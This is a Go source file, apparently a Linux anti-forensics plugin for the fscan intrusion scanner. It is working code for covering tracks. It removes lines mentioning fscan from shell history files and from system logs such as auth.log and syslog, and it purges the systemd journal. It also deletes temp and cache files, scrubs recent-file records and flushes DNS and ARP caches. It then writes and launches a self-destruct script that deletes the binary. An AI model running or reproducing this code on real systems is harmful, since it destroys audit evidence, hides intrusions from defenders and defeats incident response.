//go:build linux

package cleaner

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"github.com/shadow1ng/fscan/common"
)

// cleanSystemTraces 清理Linux系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
	report := make(map[string]interface{})
	var cleaned []string
	
	// 1. 清理Shell历史记录
	if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
		cleaned = append(cleaned, shellHistory...)
		report["shell_history"] = shellHistory
	}
	
	// 2. 清理系统日志
	if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
		cleaned = append(cleaned, systemLogs...)
		report["system_logs"] = systemLogs
	}
	
	// 3. 清理临时文件
	if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
		cleaned = append(cleaned, tempFiles...)
		report["temp_files"] = tempFiles
	}
	
	// 4. 清理用户缓存
	if userCache := p.cleanUserCache(); len(userCache) > 0 {
		cleaned = append(cleaned, userCache...)
		report["user_cache"] = userCache
	}
	
	// 5. 清理最近访问记录
	if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
		cleaned = append(cleaned, recentFiles...)
		report["recent_files"] = recentFiles
	}
	
	p.cleanupStats["system_entries"] += len(cleaned)
	report["total_cleaned"] = len(cleaned)
	
	return report
}

// cleanShellHistory 清理Shell历史记录
func (p *CleanerPlugin) cleanShellHistory() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	if homeDir == "" {
		return cleaned
	}
	
	// 常见的Shell历史文件
	historyFiles := []string{
		".bash_history",
		".zsh_history", 
		".fish_history",
		".sh_history",
	}
	
	for _, histFile := range historyFiles {
		histPath := filepath.Join(homeDir, histFile)
		
		// 检查文件是否存在
		if _, err := os.Stat(histPath); os.IsNotExist(err) {
			continue
		}
		
		// 读取历史文件
		content, err := os.ReadFile(histPath)
		if err != nil {
			common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
			continue
		}
		
		// 过滤掉包含fscan的行
		lines := strings.Split(string(content), "\n")
		var filteredLines []string
		removedCount := 0
		
		for _, line := range lines {
			if strings.Contains(strings.ToLower(line), "fscan") {
				removedCount++
				continue
			}
			filteredLines = append(filteredLines, line)
		}
		
		if removedCount > 0 {
			// 写回过滤后的内容
			newContent := strings.Join(filteredLines, "\n")
			if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
				common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
			} else {
				cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
				common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
			}
		}
	}
	
	// 清理当前会话的历史记录
	if err := exec.Command("history", "-c").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
	} else {
		cleaned = append(cleaned, "Current session history")
		common.LogSuccess("已清理当前会话历史记录")
	}
	
	return cleaned
}

// cleanLinuxSystemLogs 清理Linux系统日志
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
	var cleaned []string
	
	// 系统日志路径
	logPaths := []string{
		"/var/log/auth.log",
		"/var/log/syslog", 
		"/var/log/messages",
		"/var/log/secure",
		"/var/log/user.log",
	}
	
	for _, logPath := range logPaths {
		if _, err := os.Stat(logPath); os.IsNotExist(err) {
			continue
		}
		
		// 尝试清理日志中的相关条目
		if p.filterLogFile(logPath) {
			cleaned = append(cleaned, logPath)
		}
	}
	
	// 清理journal日志（如果有权限）
	if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
	} else {
		cleaned = append(cleaned, "systemd journal")
		common.LogSuccess("已清理systemd journal日志")
	}
	
	return cleaned
}

// filterLogFile 过滤日志文件
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
	// 检查读写权限
	file, err := os.OpenFile(logPath, os.O_RDWR, 0)
	if err != nil {
		common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
		return false
	}
	defer file.Close()
	
	// 读取文件内容
	content, err := os.ReadFile(logPath)
	if err != nil {
		return false
	}
	
	// 过滤包含fscan的行
	lines := strings.Split(string(content), "\n")
	var filteredLines []string
	removedCount := 0
	
	for _, line := range lines {
		if strings.Contains(strings.ToLower(line), "fscan") {
			removedCount++
			continue
		}
		filteredLines = append(filteredLines, line)
	}
	
	if removedCount > 0 {
		// 写回过滤后的内容
		newContent := strings.Join(filteredLines, "\n")
		if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
			common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
			return false
		}
		common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
		return true
	}
	
	return false
}

// cleanLinuxTempFiles 清理Linux临时文件
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
	var cleaned []string
	
	// 临时目录
	tempDirs := []string{
		"/tmp",
		"/var/tmp",
		"/dev/shm",
	}
	
	// 用户临时目录
	if homeDir := os.Getenv("HOME"); homeDir != "" {
		tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
	}
	
	for _, tempDir := range tempDirs {
		entries, err := os.ReadDir(tempDir)
		if err != nil {
			continue
		}
		
		for _, entry := range entries {
			if entry.IsDir() {
				continue
			}
			
			filename := strings.ToLower(entry.Name())
			if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
				tempFile := filepath.Join(tempDir, entry.Name())
				
				// 检查文件是否太新（可能正在使用）
				if info, err := entry.Info(); err == nil {
					if time.Since(info.ModTime()) < 5*time.Minute {
						continue
					}
				}
				
				if err := os.Remove(tempFile); err != nil {
					common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
				} else {
					cleaned = append(cleaned, tempFile)
					common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
				}
			}
		}
	}
	
	return cleaned
}

// cleanUserCache 清理用户缓存
func (p *CleanerPlugin) cleanUserCache() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	if homeDir == "" {
		return cleaned
	}
	
	// 缓存目录
	cacheDirs := []string{
		filepath.Join(homeDir, ".cache"),
		filepath.Join(homeDir, ".local", "share"),
	}
	
	for _, cacheDir := range cacheDirs {
		entries, err := os.ReadDir(cacheDir)
		if err != nil {
			continue
		}
		
		for _, entry := range entries {
			entryPath := filepath.Join(cacheDir, entry.Name())
			entryName := strings.ToLower(entry.Name())
			
			if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
				if entry.IsDir() {
					if err := os.RemoveAll(entryPath); err != nil {
						common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
					} else {
						cleaned = append(cleaned, entryPath)
						p.cleanupStats["directories"]++
					}
				} else {
					if err := os.Remove(entryPath); err != nil {
						common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
					} else {
						cleaned = append(cleaned, entryPath)
					}
				}
			}
		}
	}
	
	return cleaned
}

// cleanRecentFiles 清理最近访问文件记录
func (p *CleanerPlugin) cleanRecentFiles() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	if homeDir == "" {
		return cleaned
	}
	
	// 最近文件记录路径
	recentPaths := []string{
		filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
		filepath.Join(homeDir, ".recently-used"),
		filepath.Join(homeDir, ".gtk-bookmarks"),
	}
	
	for _, recentPath := range recentPaths {
		if _, err := os.Stat(recentPath); os.IsNotExist(err) {
			continue
		}
		
		// 读取并过滤文件内容
		content, err := os.ReadFile(recentPath)
		if err != nil {
			continue
		}
		
		lines := strings.Split(string(content), "\n")
		var filteredLines []string
		removedCount := 0
		
		for _, line := range lines {
			if strings.Contains(strings.ToLower(line), "fscan") {
				removedCount++
				continue
			}
			filteredLines = append(filteredLines, line)
		}
		
		if removedCount > 0 {
			newContent := strings.Join(filteredLines, "\n")
			if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
				common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
			} else {
				cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
				common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
			}
		}
	}
	
	return cleaned
}

// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
	report := make(map[string]interface{})
	var cleaned []string
	
	// 清理DNS缓存 (systemd-resolved)
	if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
		// 尝试其他DNS清理方法
		if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
			common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
		} else {
			cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
		}
	} else {
		cleaned = append(cleaned, "DNS Cache (systemctl)")
	}
	
	// 清理ARP缓存
	if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
	} else {
		cleaned = append(cleaned, "ARP Cache")
		common.LogSuccess("已清理ARP缓存")
	}
	
	report["network_caches"] = cleaned
	report["total_cleaned"] = len(cleaned)
	
	return report
}

// createUnixSelfDestruct 创建Unix自毁脚本
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
	report := make(map[string]interface{})
	
	// 创建shell自毁脚本
	shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
	
	scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
	
	if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
		common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
		report["status"] = "failed"
		report["error"] = err.Error()
	} else {
		// 异步执行自毁脚本
		go func() {
			time.Sleep(1 * time.Second)
			cmd := exec.Command("/bin/sh", scriptPath)
			cmd.Start()
		}()
		
		report["status"] = "scheduled"
		report["script_path"] = scriptPath
		common.LogInfo("已创建自毁脚本，将在退出后执行")
	}
	
	return report
}

// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
	return p.createUnixSelfDestruct()
}